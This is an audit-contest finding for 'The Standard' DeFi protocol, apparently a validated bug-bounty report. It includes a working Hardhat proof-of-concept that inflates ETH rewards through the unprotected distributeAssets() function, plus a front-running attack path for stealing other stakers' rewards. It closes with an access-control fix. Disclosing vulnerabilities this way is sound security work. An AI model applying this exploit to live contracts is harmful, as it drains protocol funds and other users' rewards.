The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Attacker can create any amount of ETH as rewards

t0x1c

Summary

The distributeAssets() function has no access control and can be manipulated by any confirmed staker to increase their ETH reward to any value they wish to. There is no cost attached to the attack apart from the gas cost.

PoC

Add a file test\pwned.js with the following code and run via npx hardhat test --grep 'is pwned' to see it pass.

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { ETH, getNFTMetadataContract, DEFAULT_EUR_USD_PRICE, DEFAULT_ETH_USD_PRICE, DEFAULT_COLLATERAL_RATE, fastForward, DAY, POOL_FEE_PERCENTAGE, fullyUpgradedSmartVaultManager, PROTOCOL_FEE_RATE } = require("./common");
​
describe('LiquidationPoolManager', async () => {
let LiquidationPoolManager, LiquidationPool, TokenManager,
TST, EUROs, ERC20MockFactory, admin, user, protocol, liquidator, ClEurUsd, ClEthUsd, VaultManager, SmartVaultIndex;
​
const rewardAmountForAsset = (rewards, symbol) => {
return rewards.filter(reward => reward.symbol === ethers.utils.formatBytes32String(symbol))[0].amount;
}
​
beforeEach(async () => {
[admin, user, protocol, liquidator] = await ethers.getSigners();
​
ERC20MockFactory = await ethers.getContractFactory('ERC20Mock');
TST = await ERC20MockFactory.deploy('The Standard Token', 'TST', 18);
EUROs = await (await ethers.getContractFactory('EUROsMock')).deploy();
ClEurUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('EUR / USD');
await ClEurUsd.setPrice(DEFAULT_EUR_USD_PRICE);
ClEthUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('ETH / USD');
await ClEthUsd.setPrice(DEFAULT_ETH_USD_PRICE);
​
TokenManager = await (await ethers.getContractFactory('TokenManagerMock')).deploy(ETH, ClEthUsd.address);
const SmartVaultDeployer = await (await ethers.getContractFactory('SmartVaultDeployerV3')).deploy(ETH, ClEurUsd.address);
SmartVaultIndex = await (await ethers.getContractFactory('SmartVaultIndex')).deploy();
const NFTMetadataGenerator = await (await getNFTMetadataContract()).deploy();
const SwapRouterMock = await (await ethers.getContractFactory('SwapRouterMock')).deploy();
const MockWeth = await (await ethers.getContractFactory('WETHMock')).deploy();
VaultManager = await fullyUpgradedSmartVaultManager(
DEFAULT_COLLATERAL_RATE, PROTOCOL_FEE_RATE, EUROs.address, protocol.address,
liquidator.address, TokenManager.address, SmartVaultDeployer.address,
SmartVaultIndex.address, NFTMetadataGenerator.address, MockWeth.address,
SwapRouterMock.address
);
await SmartVaultIndex.setVaultManager(VaultManager.address);
await EUROs.grantRole(await EUROs.DEFAULT_ADMIN_ROLE(), VaultManager.address);
await VaultManager.connect(user).mint();
const LiquidationPoolManagerContract = await ethers.getContractFactory('LiquidationPoolManager');
LiquidationPoolManager = await LiquidationPoolManagerContract.deploy(
TST.address, EUROs.address, VaultManager.address, ClEurUsd.address, protocol.address, POOL_FEE_PERCENTAGE
);
await VaultManager.setLiquidatorAddress(LiquidationPoolManager.address);
await VaultManager.setProtocolAddress(LiquidationPoolManager.address);
LiquidationPool = await ethers.getContractAt('LiquidationPool', await LiquidationPoolManager.pool());
await EUROs.grantRole(await EUROs.BURNER_ROLE(), LiquidationPool.address);
});
describe('The Standard', async () => {
it('is pwned', async () => {
// Step 1. stake TST & EUROs
const tstStake = 1;
const eurosStake = 1;
await TST.mint(user.address, tstStake);
await EUROs.mint(user.address, eurosStake);
await TST.connect(user).approve(LiquidationPool.address, tstStake);
await EUROs.connect(user).approve(LiquidationPool.address, eurosStake);
await LiquidationPool.connect(user).increasePosition(tstStake, eurosStake);
await fastForward(DAY);
let { _rewards, _position } = await LiquidationPool.position(user.address);
expect(_position.EUROs).to.equal(eurosStake);
expect(_position.TST).to.equal(tstStake);
// Step 2. ATTACK by calling distributeAssets() directly
const pwned = ethers.utils.parseEther('52'); // @audit-info : amount to be siphoned off, could be any amount
const Token = {symbol: "0x4554480000000000000000000000000000000000000000000000000000000000" , addr: ethers.constants.AddressZero, dec: 18, clAddr: "0xDc64a140Aa3E981100a9becA4E685f962f0cF6C9", clDec: 8};
const asset = {token: Token, amount: pwned};
const assets = [asset];
const FAKE_HUNDRED_PC = 0; // @audit : passing this as zero ensures the attacker has to pay no EUROs
await LiquidationPool.connect(user).distributeAssets(assets, 1, FAKE_HUNDRED_PC, { value: ethers.utils.parseEther('0') });
({ _rewards, _position } = await LiquidationPool.position(user.address));
expect(rewardAmountForAsset(_rewards, 'ETH')).equal(pwned); // @audit : attacker's `rewards` updated
expect(_position.EUROs).to.equal(eurosStake); // attacker had to pay nothing!
expect(_position.TST).to.equal(tstStake);
// now remove the staked amount too
await LiquidationPool.connect(user).decreasePosition(tstStake, eurosStake);
({ _rewards, _position } = await LiquidationPool.position(user.address));
expect(_position.EUROs).to.equal(0);
expect(_position.TST).to.equal(0);
});
});
});

Attack Vector Explained

The 3 params of the function distributeAssets() can be created manually:

function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {

The PoC code creates the ILiquidationPoolManager.Asset[] memory _assets parameter by using ETH token symbol 0x4554480000000000000000000000000000000000000000000000000000000000, its address as 0 and its chainlink feed address as 0xDc64a140Aa3E981100a9becA4E685f962f0cF6C9 all of which are real, valid values. However, inside the _assets struct it sets the amount as an arbitrary value which the attacker wants to siphon off (52 ETH in our case).

Also, we will pass _hundredPC as zero. This is because the function calculates costInEuros, which is the cost the holder needs to pay. By setting _hundredPC as zero, it evaluates to 0 and no cost will have to be paid.

uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;

Now, all the attacker has to do is wait for the LiquidationPool contract to have the desired amount of ETH in it and then call claimRewards to get the ETH credited into his wallet. Notice that this transfer of ETH into the LiquidationPool contract from the LiquidationPoolManager contract happens automatically when a vault is liquidated by anybody calling the runLiquidation() function. Once that call completes, the attacker can call claimRewards() and effectively steal someone else's share of rewards. The other holder will be left without any ETH to claim even though his rewards variable will show that he is eligible.

In fact, the best attack path for the attacker would be -

  • Position himself as a confirmed holder by staking the minimum amount so that he can attack later.

  • Monitor the mempool for someone to call runLiquidation(). Let's call this transaction tx.

  • Calculate & note the ETH rewards which will be distributed in this call.

  • Front-run tx and directly call distributeAssets() with his maliciously crafted parameters, keeping amount as the total ETH reward in tx.

  • Back-run tx and call claimRewards() to get away with stealing the entire ETH before anyone is the wiser. Then call decreasePosition() to remove his miniscule staked amount too.

Other holders calling claimRewards() now will see their call revert as there are no funds inside LiquidationPool.

Note-1

The PoC shows only one holder in the pool. If there are more holders, this attack increments their rewards variable too. However the attacker will move first to claim the rewards hence leaving no ETH for others.

Note-2

This would work for any other ERC20 collateral token too, if the approve() is in place - that is, the LiquidationPoolManager has approved the amount before the attack.

Impact

  • Major loss of protocol funds

  • Some other holder loses his reward

Tools Used

Hardhat

Recommendations

Add the onlyManager access modifier to the distributeAssets() function:

- function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
+ function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable onlyManager {
Updates

Lead Judging Commences

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

t0x1c Submitter
almost 2 years ago
hrishibhat Lead Judge
almost 2 years ago
hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!